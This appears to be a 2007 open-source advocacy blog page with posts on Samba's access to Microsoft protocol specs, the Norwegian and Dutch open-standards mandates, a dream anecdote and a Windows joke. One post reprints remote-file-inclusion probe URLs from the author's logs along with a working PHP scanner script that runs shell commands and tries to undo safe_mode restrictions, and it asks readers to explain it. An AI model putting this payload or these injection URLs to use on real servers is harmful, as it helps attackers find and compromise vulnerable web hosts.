Lets all do the Samba! Merry Christmas!
Fantastic!
The EU vs. Microsoft litigation that finished a couple of months ago has finally bourne fruit. The Samba team now have royalty free access to the protocol documentation for Windows Workgroup protocols. Read the full story over on Groklaw. Massive thanks are due also to PJ for keeping the pressure on the EU so its judgement provided a way for Microsoft to deliver their protocol specs without encumbering users and developers with Patent restrictions and licenses.
Merry Christmas – This is a BIG deal for the Open Source Community and what a great way to finish what has been a pretty stonking year for OSS in general.
Is this a hacker’s tool?
Over the last few days, I have had lots of site hits looking for rather strange URLs on this blog such as:
http://www.theopensourcerer.com/2007/10/25/upcoming-free-seminar//site.php?page=
http://www.erdc.cyc.edu.tw/4images/cache/rfi/test.txt???
I took a look at the file the url refers to. Here it is:
<html><head><title>/\/\/\ Response CMD /\/\/\</title></head><body bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
</html></head></body>
<?php
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;
Can someone who understands PHP tell me what this is trying to do? It is clearly a scanning/hacking tool designed to retrieve data – I guess to help with further exploits. But I can’t quite work it out, especially the
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){ line.
echo("Safe Mode of this Server is : ");
It’s a php script so why should it care if the site is on Windows or Linux? Any takers…
Norway says yes to Open Standards in IT
Following on from the very recent announcement from the Netherlands, the government of Norway has also stipulated that all public documents MUST be available in open standard file formats. [The English translation below is from Groklaw but not directly linkable]
Everyone should have equal access to public information: Open standards become compulsory within the government
The government has decided that all information on governmental websites should be available in the open formats HTML, PDF or ODF. With this decision the times when public documents where only available in Microsoft’s Word-format is coming to an end.
- Everybody should have equal access to public information. From 2009 the citizens will be able to chose which software to use in order to gain access to public information. The government’s decision will also improve the competition between suppliers of office applications, says IT-minister Heidi Grande Røys. This is the decision of the government:
* HTML should be the primary format for publication of public information on the Internet.
* PDF (1.4 or newer, or PDF/A – ISO 19005-1) is compulsory when you wish to preserve the original layout of a document.
* ODF (ISO/IEC 26300) must be used when publishing documents that are meant to be changed after downloading, eg. forms that are to be filled in by the user. – Norway’s Ministry of Government Administration and Reform
So, now two European (I know Norway is not truly part of the EEC but, like Switzerland, it is in Europe) countries have mandated Open standards for electronic documentation. I wonder how stupid the UK’s National Archive feel now? Or perhaps, because their management are Microsoft puppets, they didn’t really have a say in the first place…
Dreams Work Collaboration Presents…
The OSS Enterprise
I had a dream last night. I know this is really sad [dreaming about Open Source] but I thought it worth documenting anyway.
In my dream, I was working for a large corporate enterprise in some sort of techy role. One afternoon this chap comes into my office and tells me how he has just signed up our company to deploy, globally, a brand new email server system called Exchange. He then harped on about the benefits and what-not of his solution and was obviously very pleased with himself for securing such a large order. Until that is, I mentioned to him that thousands of our desktop users use Linux and his solution would not work. With that information he literally ran, screaming, from my office.
Isn’t it strange how dreams work sometimes? I was so impressed by this one I wrote it down as soon as I woke up so not to forget it. Whilst coming round with a coffee and thinking about the meaning of my dream, I had what, for me at least, was a bit of a brainwave; there is a really simple comparison between OSS and proprietary software…
| OSS | Proprietary |
| OSS is created in public for the benefit of anyone/everyone | Proprietary software is created in secret for the sole benefit of its owners/shareholders |
Simple isn’t it… Does it make sense?
Windows in a nutshell
I read this on a posting on the asterisk mailing list this morning courtesy of Doug at NaTel. It is probably not new but I found it funny.
Windows is a half-baked, dying OS that in essence is a 32 bit extension and graphical shell, for a 16 bit
patch to an 8 bit operating system, originally coded for a 4 bit microprocessor, written by a 2 bit
company, that can’t stand 1 bit of competition.
lol
Going Dutch
Just how cool can they get? Our Dutch compatriots are once again leading the way:
The Dutch government has set a soft deadline of April 2008 for its agencies to start using open-source software — freely distributed programs that anyone can modify — the Netherlands Economic Affairs Ministry said Thursday.
Government organisations will still be able to use proprietary software and formats but will have to justify it under the new policy, ministry spokesman Edwin van Scherrenburg said.
Van Scherrenburg said the plan was approved UNANIMOUSLY at a meeting of two parliamentary commissions on Wednesday.
[Emphasis mine]
Now there’s a marvellous announcement. I’m especially heartened by that UNANIMOUS vote. That can only mean one thing; the Dutch government have not been bought by Microsoft – unlike our own shady group of American puppets who still seem to be living in the dark ages and are apparently ignorant of the benefits (or even the availability) of Open Source Software.
There is some good humour in the announcement too – from the Redmond based owner of much of the world’s Intellectual Monopoly:
… he said the company [Microsoft] was worried about and opposed other aspects of the Dutch policy, especially the provision that agencies should prefer open source.
“We think it’s not in the best interest of the wider software market to single out one model for endorsement like this,” he said.
HUH? What is the “wider software market” he is referring to? Oh, of course it’s theirs… What complete twaddle. Why can’t they just say ‘we don’t like it because we are going to lose business’. Or even better, make improved products that compete on a level playing field? Why spin their message with such meaningless drivel that it only exacerbates our bad opinion of them?
Open Source encourages competition and is inherently free of the encumbrances which lead to the closed and non-innovative scenario of Intellectual Monopoly. No one is saying they MUST use OpenOffice.org, or KOffice or Symphony, or even Google Apps. They are specifying Open Source so that the tax paying public are not restricted in the way they can communicate with their Government by having to use proprietary, expensive and patent encumbered software products.
Ik wens alle Nederlandse volk een heel prettige kerstdagen en een Happy New Year!
